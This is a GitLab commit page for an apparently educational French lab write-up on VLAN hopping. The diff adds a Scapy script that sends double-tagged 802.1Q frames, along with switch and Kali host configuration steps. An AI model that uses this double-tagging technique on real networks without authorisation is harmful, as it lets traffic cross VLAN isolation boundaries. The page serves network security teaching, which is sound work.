Skip to content
GitLab
Explore
Sign in
Primary navigation
Search or go to…
Project
R
rpi
Manage
Activity
Members
Labels
Plan
Issues
Issue boards
Milestones
Wiki
Code
Merge requests
Repository
Branches
Commits
Tags
Repository graph
Compare revisions
Snippets
Build
Pipelines
Jobs
Pipeline schedules
Artifacts
Deploy
Releases
Package Registry
Model registry
Operate
Environments
Terraform modules
Monitor
Incidents
Analyze
Value stream analytics
Contributor analytics
CI/CD analytics
Repository analytics
Model experiments
Help
Help
Support
GitLab documentation
Compare GitLab plans
Community forum
Contribute to GitLab
Provide feedback
Keyboard shortcuts
?
Snippets
Groups
Projects
Show more breadcrumbs
ISC2
rpi
Commits
90a3793e
Commit
90a3793e
authored
1 year ago
by
iliya
Browse files
Options
Downloads
Patches
Plain Diff
fix: imgs not being loaded
parent
4e759c9b
No related branches found
Branches containing commit
No related tags found
No related merge requests found
Changes
1
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
content/03_vlan_hopping.md
+32
-1
32 additions, 1 deletion
content/03_vlan_hopping.md
with
32 additions
and
1 deletion
content/03_vlan_hopping.md
+
32
−
1
View file @
90a3793e
...
...
@@ -319,11 +319,42 @@ fois-ci avec succès.
S1(config-if)#exit
```

{width=80%}

### Double tagging `Scapy`
Ci-dessous se trouve le script grâce auquel nous pourrons effectuer une par
_double-tagging_
.
```
python
from
scapy.all
import
*
sendp
(
Ether
(
dst
=
'
ff:ff:ff:ff:ff:ff
'
,
src
=
'
00:01:02:03:04:05
'
)
/
\
Dot1Q
(
vlan
=
1
)
/
Dot1Q
(
vlan
=
100
)
/
\
IP
(
dst
=
'
10.0.0.1
'
,
src
=
'
10.0.0.3
'
)
/
ICMP
(),
iface
=
"
eth0
"
)
```
Premièrement il faut enlever l'interface
`GigabitEthernet 0/3`
de S1 du VLAN 100 :
```
=============== Gi0/3 ================
S1(config)#interface GigabitEthernet 0/3
S1(config-if)#no switchport access vlan 100
S1(config-if)#no shut
S1(config-if)#exit
```
Puis il est nécessaire de retirer l'adresse IP attribué à
`kali-linux-1`
sur
l'interface
`eth0`
:
```
bash
sudo
ip addr del 10.0.0.3/24 dev eth0
```
### Double tagging `iproute2`
### Sécurisation des switches
This diff is collapsed.
Click to expand it.
Preview
0%
Loading
Try again
or
attach a new file
.
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Save comment
Cancel
Please
register
or
sign in
to comment